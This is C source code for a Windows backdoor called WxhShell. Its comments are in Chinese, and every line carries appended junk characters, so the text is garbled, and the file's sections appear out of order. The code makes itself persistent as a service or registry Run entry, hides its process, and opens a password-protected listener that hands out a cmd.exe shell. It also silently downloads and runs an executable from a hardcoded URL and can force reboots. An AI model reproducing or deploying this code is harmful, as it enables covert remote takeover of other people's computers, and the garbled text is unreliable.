    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <`xRqe:&9  
    if(Boot(SHUTDOWN)) Cre0e$ a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mU+FQX  
    else { oiv2rOFu  
    closesocket(wsh); 8<-oJs_o+  
    ExitThread(0); 5d?!<(e6  
    } 6l\UNG7  
    break; ?gR\A8:8  
    } n E,gQHw  
  // 获取shell 6Sb'Otw.  
  case 's': { bj7MzlGFy  
    CmdShell(wsh); ]EM)_:tRf  
    closesocket(wsh); +:"6`um|  
    ExitThread(0); {1@4}R4  
    break; 3 2 1={\X  
  } ^Em@6fz[  
  // 退出 P\X=*  
  case 'x': { ~6:LUM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '!fFI1s  
    CloseIt(wsh); LA+$_U"Jk  
    break; 6PJJ?}P^1  
    } "_1-IE  
  // 离开 )qyx|D  
  case 'q': { ~f=6?5.wa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); moVa'1ul  
    closesocket(wsh); g;-+7ViIr  
    WSACleanup(); G{f`K^  
    exit(1); StyB"1y  
    break;  w{ r(F`  
        } l<aqiZSY  
  } ,dZ H$  
  } 8XYD L] I'  
?BDlB0jxzi  
  // 提示信息 XY!{g(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ 7BF+*T  
} *H%0Gsk  
  } 6>=-/)p}  
$ o5V$N D  
  return; ?K4.L?D#J  
} I[g?Ju >  
:^H9W^2  
// shell模块句柄 Zc4(tf9  
int CmdShell(SOCKET sock) 8L7Y A)u  
{ V/(`Ek-  
STARTUPINFO si; Zr.\`mG4f  
ZeroMemory(&si,sizeof(si)); Ho)t=qn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &N/|(<CB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ ^rey  
PROCESS_INFORMATION ProcessInfo; 'z +$3\5L  
char cmdline[]="cmd"; d^Zo35X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >?>ubM`,  
  return 0; +Q SxYV  
} uv|eVT3jNs  
"$~}'`(]  
// 自身启动模式 W( &Go'9e"  
int StartFromService(void) o\@ A2r3  
{ agU%z:M{  
typedef struct N"YK@)*Q  
{ n&0mz1rw  
  DWORD ExitStatus; ~{7zm"jN  
  DWORD PebBaseAddress; {WYu 0J@  
  DWORD AffinityMask; ;L G %s  
  DWORD BasePriority; p|h.@do4   
  ULONG UniqueProcessId; `P^u:  
  ULONG InheritedFromUniqueProcessId; &547`*  
}   PROCESS_BASIC_INFORMATION; BaWQ<T8p8  
60hNCVq%  
PROCNTQSIP NtQueryInformationProcess; P\q<d  
R<n8M"B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L,C? gd@"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $@[dm)M  
J ?ztn  
  HANDLE             hProcess; }t@f |TX  
  PROCESS_BASIC_INFORMATION pbi; m4P hn~>Gg  
 3}>:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L _vblUDq  
  if(NULL == hInst ) return 0; 'DCKD4@C/  
}b_R5U$@@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lfxuc7Rdla  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bmx(qE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <=;H[} e  
,] ~u:Y}  
  if (!NtQueryInformationProcess) return 0; bGZ hUEq  
C1X}3bB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d98))G~W  
  if(!hProcess) return 0; r/mA2  
b$d J?%W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5nMkd/  
h^o+E2<]  
  CloseHandle(hProcess); &K5C=]4  
uSABh ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DC?21[60  
if(hProcess==NULL) return 0; /^++As0pY  
a4A`cUt  
HMODULE hMod; ]$m#1Kj  
char procName[255]; 42b.7E  
unsigned long cbNeeded; m0=cMVCA!  
rQ`\JE&`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DNm(:%)0  
u iBl#J Q  
  CloseHandle(hProcess); OD  
vC{ h2A  
if(strstr(procName,"services")) return 1; // 以服务启动 \ V[;t-  
t2=a(N-/,  
  return 0; // 注册表启动 p&i. )/  
} J"%8:pL  
~ A^E  
// 主模块 ~gu=x&{  
int StartWxhshell(LPSTR lpCmdLine) I*^5'N'  
{ C-Nuy1o  
  SOCKET wsl; SV$nyV  
BOOL val=TRUE; TRF]i/Bs  
  int port=0; \bU`  
  struct sockaddr_in door; Qo'yS"g<9)  
8 ne/=N|,  
  if(wscfg.ws_autoins) Install(); gO+\O  
~c9>Nr9|`  
port=atoi(lpCmdLine); j(0Ilx|7v  
cwk+#ur  
if(port<=0) port=wscfg.ws_port; )D:9R)m  
6D/uo$1Y  
  WSADATA data; 1)$%Jr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kb^>X{  
ki\B!<uv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TG1P=g5h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ba/RO36&c  
  door.sin_family = AF_INET; 6X dWm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MMMqG`Px  
  door.sin_port = htons(port); 5,S,\O9>X  
r)gCTV(kb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hdo&\Q2D8  
closesocket(wsl); 2Oyy`k  
return 1; z<a$q3!#  
} [-4KY4R  
:%N*{uy  
  if(listen(wsl,2) == INVALID_SOCKET) { wz|DT3"Xs  
closesocket(wsl); z(+&wa  
return 1; 8s<^]sFP  
} Ks#A<! ;=  
  Wxhshell(wsl); zm3-C%:Bw  
  WSACleanup(); /$;,F't#2M  
w"{bp  
return 0; & B}Lo  
>L^xlm%7o  
} Yg/}ghF\  
q7|:^#{av  
// 以NT服务方式启动  #;`Oj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 27m@|M] R  
{ W$r^  
DWORD   status = 0; @cZ\*,T  
  DWORD   specificError = 0xfffffff; fb23J|"  
t\zbEN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7skljw(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZT6V/MD7T.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0x\2 #i  
  serviceStatus.dwWin32ExitCode     = 0; 7!p LK&_  
  serviceStatus.dwServiceSpecificExitCode = 0; (qUK7$  
  serviceStatus.dwCheckPoint       = 0; [q1Unm  
  serviceStatus.dwWaitHint       = 0; }g>kpa0c  
Y=E9zUF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rv,82iEKs  
  if (hServiceStatusHandle==0) return; S`=n&'  
hd5$yU5JQ  
status = GetLastError(); IhE9snJ[  
  if (status!=NO_ERROR) 7Re-5vz R  
{ BBxc*alG0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #EJP(wXa  
    serviceStatus.dwCheckPoint       = 0; JT04vm4  
    serviceStatus.dwWaitHint       = 0; Y.>kO  
    serviceStatus.dwWin32ExitCode     = status; dByjcTPA  
    serviceStatus.dwServiceSpecificExitCode = specificError; \QGa 4_#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wFvT0  
    return; C,"=}z1P  
  } bG(x:Py&  
|H W( vA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @T ysXx  
  serviceStatus.dwCheckPoint       = 0; )\>r-g$  
  serviceStatus.dwWaitHint       = 0; je,c7ZFO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l xe`u}[  
} 3htq[Ren  
m2(E>raV6  
// 处理NT服务事件,比如:启动、停止 T6uMFD4 |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !{(ls<  
{ pA.._8(t  
switch(fdwControl) qp>N^)>  
{ 4d`+CD C  
case SERVICE_CONTROL_STOP: 7Lg7ei2mN7  
  serviceStatus.dwWin32ExitCode = 0; } Gr&w-v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d`Oe_<  
  serviceStatus.dwCheckPoint   = 0; xIL#h@dz  
  serviceStatus.dwWaitHint     = 0; ;'}'5nO=$  
  { !" E-\cc'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9]6bd  
  } -w]/7cH  
  return; P$ucL~r  
case SERVICE_CONTROL_PAUSE: O#EqG.L5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :H?f*aw  
  break; :3^dF}>  
case SERVICE_CONTROL_CONTINUE: p x#suy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W pN.]x  
  break; 9 Kbw GmSU  
case SERVICE_CONTROL_INTERROGATE: k][h9'  
  break; g*y/j]  
}; z]=8eV\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Zcu[2,  
} 1`JB)9P  
3+(z_!Qh  
// 标准应用程序主函数 ?YBaO,G9o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $7NCb7%/L  
{ *~2cG;B"e  
Pu;yEh  
// 获取操作系统版本 L^FcS\r;  
OsIsNt=GetOsVer(); t'g^W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;iU%Kt  
JoJukoy}F  
  // 从命令行安装 DnFjEP^  
  if(strpbrk(lpCmdLine,"iI")) Install(); XA{F:%  
m5*[t7@%  
  // 下载执行文件 VRbQdiZ{  
if(wscfg.ws_downexe) { :, _!pe;H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xE1'&!4O  
  WinExec(wscfg.ws_filenam,SW_HIDE); n@ [  
} AnMV <  
dZ]Rqr _!  
if(!OsIsNt) { W`M6J}oG  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,mKObMu  
HideProc(); "3}<8 c  
StartWxhshell(lpCmdLine); TH4\HY9qa?  
} (0L=AxH  
else 68e[:wf  
  if(StartFromService()) [T^?Q%h  
  // 以服务方式启动 dJD(\a>r.u  
  StartServiceCtrlDispatcher(DispatchTable); OlY$ v@|  
else iZxt/}1X0  
  // 普通方式启动 exZLj0kvF  
  StartWxhshell(lpCmdLine); LZ<[ll#C  
BzN@gQo  
return 0; |^( M{  
} ,T|x)"uA`  
q3h'l,  
4 1t)(+r  
;>>C)c4V"  
=========================================== 9v?l  
K_ke2{4Jm  
UyiJU~r1  
aG{$Ic  
0.Vi9 7`  
a]B[`^`z  
" U|5-0u5  
,_ .v_  
#include <stdio.h> S3Y2O x  
#include <string.h> VhEka#  
#include <windows.h> lH2wG2  
#include <winsock2.h> x({C(Q'O  
#include <winsvc.h> obo&1Uv,/  
#include <urlmon.h> 80;n|nNB  
FTf<c0  
#pragma comment (lib, "Ws2_32.lib") P^)q=A8Z#  
#pragma comment (lib, "urlmon.lib") 4kl Ao$  
X`JV R"=4  
#define MAX_USER   100 // 最大客户端连接数 ?*u*de[,  
#define BUF_SOCK   200 // sock buffer S6D^3n  
#define KEY_BUFF   255 // 输入 buffer +L%IG  
}]6f+  
#define REBOOT     0   // 重启 f p[,C1U  
#define SHUTDOWN   1   // 关机 z|N3G E(.@  
rHz||jjU  
#define DEF_PORT   5000 // 监听端口 M 2q"dz   
)L5i&UK.  
#define REG_LEN     16   // 注册表键长度 X.FGBR7=q  
#define SVC_LEN     80   // NT服务名长度 )rm4cW_  
Or0O/\D)  
// 从dll定义API M.[rLJZ4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EWj gI_-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rwf^,r"r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6b=q-0yj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L'Q<>{;Ig  
=,V|OfW  
// wxhshell配置信息 /4irAG% Oj  
struct WSCFG {  5@!st  
  int ws_port;         // 监听端口 -e]7n*}H$  
  char ws_passstr[REG_LEN]; // 口令 z#6?8y2-  
  int ws_autoins;       // 安装标记, 1=yes 0=no IV`%V+ f  
  char ws_regname[REG_LEN]; // 注册表键名 D(]E/k@ ;~  
  char ws_svcname[REG_LEN]; // 服务名 & ,hr8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YY5!_k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y~ rX l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DAO]uh{6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %)(Cp-b!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3n;K!L%zMT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K8I$]M   
v]VWDT `  
}; 1iBP,:>*  
jZ*WN|FK?  
// default Wxhshell configuration s!B/WsK  
struct WSCFG wscfg={DEF_PORT, ~O6\6$3b5E  
    "xuhuanlingzhe", nH-V{=**  
    1, $XnPwOj  
    "Wxhshell", # Su~`]  
    "Wxhshell", Zjh2{ :  
            "WxhShell Service", cr;`Tl~}s  
    "Wrsky Windows CmdShell Service", +^|iZbZKx  
    "Please Input Your Password: ", jp2Q 9Z  
  1, r'7LR  
  "http://www.wrsky.com/wxhshell.exe", S<wj*"|.s  
  "Wxhshell.exe" PoSpkJH  
    }; !|Q5Zi;aX7  
>QkP7Kb  
// 消息定义模块 8V/L:h#7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~+6Vdx m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "sUyHt-&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3G}AH E4  
char *msg_ws_ext="\n\rExit."; =/0=$\Ws  
char *msg_ws_end="\n\rQuit."; {w6/[ -^  
char *msg_ws_boot="\n\rReboot..."; `Ityi}  
char *msg_ws_poff="\n\rShutdown..."; .ic:`1  
char *msg_ws_down="\n\rSave to "; OQ&'Dti  
RP4Ku9hk  
char *msg_ws_err="\n\rErr!"; ~ 5"JzT  
char *msg_ws_ok="\n\rOK!"; {FO$yw=>  
dt\jGD  
char ExeFile[MAX_PATH]; G4 _,  
int nUser = 0; %3r:s`{  
HANDLE handles[MAX_USER]; KKe8 ly,  
int OsIsNt; "tk-w{>  
"Zv~QwC  
SERVICE_STATUS       serviceStatus; }f}}A=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %kshQ%P)?  
Q>< 0[EPj3  
// 函数声明 T1WWK'  
int Install(void); *iA4:EIP  
int Uninstall(void); ]e?x# <S  
int DownloadFile(char *sURL, SOCKET wsh); -V.d?A4"  
int Boot(int flag); V~IIY B7  
void HideProc(void); f9$xk|2g  
int GetOsVer(void); +j14Q$  
int Wxhshell(SOCKET wsl); O[@ q%&_  
void TalkWithClient(void *cs); pKG<Nvgz&  
int CmdShell(SOCKET sock); (5L-G{4  
int StartFromService(void); kS5_&#  
int StartWxhshell(LPSTR lpCmdLine); s@4nWe  
B=f,QU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Ou1WnmO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,MPB/j^o5!  
o +B:#@9?  
// 数据结构和表定义 #]WqM1u  
SERVICE_TABLE_ENTRY DispatchTable[] = !A3-0zN!  
{ bPK Ow<  
{wscfg.ws_svcname, NTServiceMain}, `_ %S  
{NULL, NULL} aW_oD[l  
}; PUJ2`iP1^3  
hB;VCg8  
// 自我安装 G"5D< ]  
int Install(void) Lo.rvt  
{ am1[9g8L  
  char svExeFile[MAX_PATH]; jEdtJ EPa  
  HKEY key; ]  ]U<UJ  
  strcpy(svExeFile,ExeFile); Z4K+ /<I  
"ICC B1N|  
// 如果是win9x系统,修改注册表设为自启动 Fzlozx1y[  
if(!OsIsNt) { 75T_Dx(H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G6P)C##ibn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ji1HV1S  
  RegCloseKey(key); VZka}7a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]va>ex$d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UB`ToE|Ii  
  RegCloseKey(key); m><w0k?t  
  return 0; N7r_77%m0  
    } pW0dB_  
  } :e1o<JgPt  
} J@pb[OL,  
else { ( lm&*tKm  
sb_oD{+gW  
// 如果是NT以上系统,安装为系统服务 ] Wy)   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Psura$:  
if (schSCManager!=0) u9woEe?  
{ Jq.lT(E8D  
  SC_HANDLE schService = CreateService O=cxNy-I  
  ( ,fDEz9-,  
  schSCManager, `^JJ&)4iv  
  wscfg.ws_svcname, n"PJ,ao  
  wscfg.ws_svcdisp, EI>6Nh  
  SERVICE_ALL_ACCESS, %=we `&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '7Nr8D4L  
  SERVICE_AUTO_START, Cb t{ H}I3  
  SERVICE_ERROR_NORMAL, ]M>9ULQ  
  svExeFile, N]EcEM#  
  NULL, d6{Gt"  
  NULL, f*{ YFg?*&  
  NULL, sxKf&p;  
  NULL, ?^mi3VM  
  NULL -~[9U,  
  ); /^{BUo  
  if (schService!=0) 7\z ZpPDV  
  { c\6+=\  
  CloseServiceHandle(schService);  9fnA  
  CloseServiceHandle(schSCManager); YYEJph@06q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /M~!sPW&?  
  strcat(svExeFile,wscfg.ws_svcname); qSqI7ptA\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { keW~ NM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PP~rn fE  
  RegCloseKey(key); 4D%9Rc0 G  
  return 0; '3]p29v{  
    } #PDf,^  
  } v0Dq@Q1  
  CloseServiceHandle(schSCManager); &c(WE RW?-  
} $mmup|;(  
} >h2%[j=  
uJHu>M}~  
return 1; v[@c*wo  
} 87)zCq  
.#u_#=g?  
// 自我卸载 )Au6Nf  
int Uninstall(void) "vCM}F  
{ s5.AW8X=?*  
  HKEY key; 5erc D  
!MDNE*_  
if(!OsIsNt) { )D'^3) FF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u<q :$  
  RegDeleteValue(key,wscfg.ws_regname); H.<a`m m8  
  RegCloseKey(key); e~ aqaY~}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CM)Q&:  
  RegDeleteValue(key,wscfg.ws_regname); b `2|I {  
  RegCloseKey(key); ;4M><OS!  
  return 0; a07@C  
  } tkQH\5  
} =~Ynz7 /x  
} N"/-0(9[  
else { 8zLY6@  
!Fw?H3X!"q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @D-AO_  
if (schSCManager!=0) GLn{s  
{ i&njqK!wS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >-_d CNZ  
  if (schService!=0) F62V 3 Xy  
  { IW8+_#d  
  if(DeleteService(schService)!=0) { 7"7rmZ   
  CloseServiceHandle(schService); Q$obOEr2(  
  CloseServiceHandle(schSCManager); )%SkJ  
  return 0; x:vu'A  
  } !3i Gz_y  
  CloseServiceHandle(schService);  rhpPCt  
  } zWpqJK   
  CloseServiceHandle(schSCManager); GU't%[  
} bWl5(S` Z  
} 4L-:*b_v\  
L- pVltX  
return 1; EM7+VO(  
} 2oa#0`{  
%8*64T")  
// 从指定url下载文件 {GvTfZfp  
int DownloadFile(char *sURL, SOCKET wsh) >@WX>0`ht  
{ X1IeSMAe  
  HRESULT hr; Eh-n  
char seps[]= "/"; tt%MoQ)   
char *token; A*. /,KT  
char *file; _, ;j7%j  
char myURL[MAX_PATH]; dC=)^(  
char myFILE[MAX_PATH]; oLWJm  
i{!T&8  
strcpy(myURL,sURL); xD&^j$Em  
  token=strtok(myURL,seps); nA|.t  
  while(token!=NULL) S[tE&[$(p  
  { nf 1#tlIJd  
    file=token; >FhK #*Pa  
  token=strtok(NULL,seps); ,f}UGd[a  
  } ug{R 3SS  
7NC=*A~  
GetCurrentDirectory(MAX_PATH,myFILE); < B_Vc:Q  
strcat(myFILE, "\\"); K =.%$A  
strcat(myFILE, file); D+ ~_TA  
  send(wsh,myFILE,strlen(myFILE),0); s[8@*/ds  
send(wsh,"...",3,0); 2&+#Vsm`V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J--m[X  
  if(hr==S_OK) T081G`li  
return 0; MYBx&]!\  
else yCJFo  
return 1; r]W  
Oz|K8p  
} 79\Jx iSB  
zkTp`>9R  
// 系统电源模块 |Iu npZV  
int Boot(int flag) Ngb(F84H?  
{ awv De  
  HANDLE hToken; h25G/`  
  TOKEN_PRIVILEGES tkp; IHgeQ F ~  
h' !imQ  
  if(OsIsNt) { L lBN-9p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7W6cM%_B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R*|LI  
    tkp.PrivilegeCount = 1; Z~A@o ""F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {bO|409>W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [^8n0{JiN  
if(flag==REBOOT) { e]=!"nJ+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -XRn~=5   
  return 0; 3nY1[,  
} }HE6aF62O  
else { )BfT7{WN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^kS T  
  return 0; .(J?a"  
} {0! ~C=P  
  } bYz&P`o}  
  else { =A Vg Iv  
if(flag==REBOOT) { ~&\ f|%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a[lY S{  
  return 0; R<i38/ ~G  
} '0$?h9"  
else { &V>fYgui  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yr#5k`&\_  
  return 0; AmwWH7,g  
} G/%iu;7ZCb  
} .I}:m%zv  
%4 \OPw&  
return 1; 9WJz~SP+vR  
} E~<`/s  
/6O??6g  
// win9x进程隐藏模块 1FtM>&%4  
void HideProc(void) uxg9yp@|  
{ X0 -IRJ[  
v(OBXa9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \c[IbL07  
  if ( hKernel != NULL ) Mg#j3W}]  
  { aA-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #_mi `7!B#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DF6c|  
    FreeLibrary(hKernel); qS&%!  
  } gX{loG  
TpA\9N#$  
return; fQLt=Lrp  
} _Lw OOZj  
vIvVq:6_3  
// 获取操作系统版本 EQqx+J&!  
int GetOsVer(void) >;z<j$;F<  
{ iCP/P%  
  OSVERSIONINFO winfo; CE15pNss  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +i\&6HGK;-  
  GetVersionEx(&winfo); Sx    
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^\B :R,  
  return 1; Kb =@ =Xta  
  else Z ,^9 Z  
  return 0; ^I KO2Ft  
} `IYuz:  
 p0.|<  
// 客户端句柄模块 KYJjwXT28W  
int Wxhshell(SOCKET wsl) ~) ?  
{ fjnTe  
  SOCKET wsh;  `[zQf  
  struct sockaddr_in client; GRy-+#,b"  
  DWORD myID; =66Nw(E.  
E&Qi@Ty  
  while(nUser<MAX_USER) ::n;VY2&  
{ P,ua<B}L  
  int nSize=sizeof(client); bslrqUk_`=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y2o6kS{x  
  if(wsh==INVALID_SOCKET) return 1; )Qm[[pnj  
"uLjIIl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +!f=jg06  
if(handles[nUser]==0) ? muzU.h"z  
  closesocket(wsh); B= keBO](@  
else %LXM+<N8  
  nUser++; 4h6k`ie!$  
  } 5 ,0d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  s95vK7I  
DoC(Z)o  
  return 0; >pkT1Z&'  
} _md=Q$9!m  
d2X[(3  
// 关闭 socket [<`SfE  
void CloseIt(SOCKET wsh) |%~+2m  
{ D 71;&G]0  
closesocket(wsh); (h']a!  
nUser--; IPuA#C  
ExitThread(0); `P Xz  
} w@2Vts  
reo{*) %  
// 客户端请求句柄 ~}Z\:#U  
void TalkWithClient(void *cs) BF{w)=@/'  
{ ~f|Z%&l|  
"QoQ4r<|  
  SOCKET wsh=(SOCKET)cs; 3cj3u4y  
  char pwd[SVC_LEN]; W"L&fV+3  
  char cmd[KEY_BUFF]; JcJmds  
char chr[1]; %iJ%{{f`  
int i,j; (2?G:+C 7  
W:i?t8y\y  
  while (nUser < MAX_USER) { z}SND9-"  
PLM_#+R>  
if(wscfg.ws_passstr) { 1 4 LI5T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $o@R^sJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Taa!hfys  
  //ZeroMemory(pwd,KEY_BUFF); R E1 /"[t  
      i=0; 9iN.3/T8  
  while(i<SVC_LEN) { m?s}QGSka  
# N~,F@t  
  // 设置超时 w",? Bef  
  fd_set FdRead; F#xa`*AP  
  struct timeval TimeOut; Ou'?]{  
  FD_ZERO(&FdRead); l0*Gb  
  FD_SET(wsh,&FdRead); }awzO#  
  TimeOut.tv_sec=8; ? _\$  
  TimeOut.tv_usec=0; (3\Xy   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7dihVvL $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QbhW!9(,  
H* !EP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %/kyT%1  
  pwd=chr[0]; ]IJRnVp%  
  if(chr[0]==0xd || chr[0]==0xa) { ^"8G`B$r  
  pwd=0; T~sTBGcv  
  break; {#IPf0O  
  } CeT~p6=  
  i++; 4t4olkK3Oa  
    } C@o%J.9"#  
6]Q3Yz^h  
  // 如果是非法用户,关闭 socket lC 97_ T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dAJ,x =`  
} '+<(;2Z vL  
nW\(IkX\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;%J5=f%z)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 89o)M5KQ  
'NZGQeb K  
while(1) { %Qn(rA@9  
b(GFMk  
  ZeroMemory(cmd,KEY_BUFF); Np)3+!^1"  
&R+#W  
      // 自动支持客户端 telnet标准   8:ggECD  
  j=0; us?&:L|!=  
  while(j<KEY_BUFF) { ba@ax3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3L-^<'~-k;  
  cmd[j]=chr[0]; yh;Y,;4  
  if(chr[0]==0xa || chr[0]==0xd) { JU0]Wq<^[  
  cmd[j]=0; %R_{1GrL'c  
  break; m$>iS@R  
  } =fc: 6JR  
  j++; ,KW;2t*IQ@  
    } Hv#q:R8  
lQPqcZd  
  // 下载文件 ?y},,  
  if(strstr(cmd,"http://")) { (k-YI{D3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jm>3bd  
  if(DownloadFile(cmd,wsh)) Hr;h4J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7Ntk MK  
  else 5,+\`!g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )J/HkOj"V  
  } PW}OU9is  
  else { HgJb4Fi  
'TN)Lb*  
    switch(cmd[0]) { }|8*sk#[  
  g=]&A  
  // 帮助 L3y5a?G  
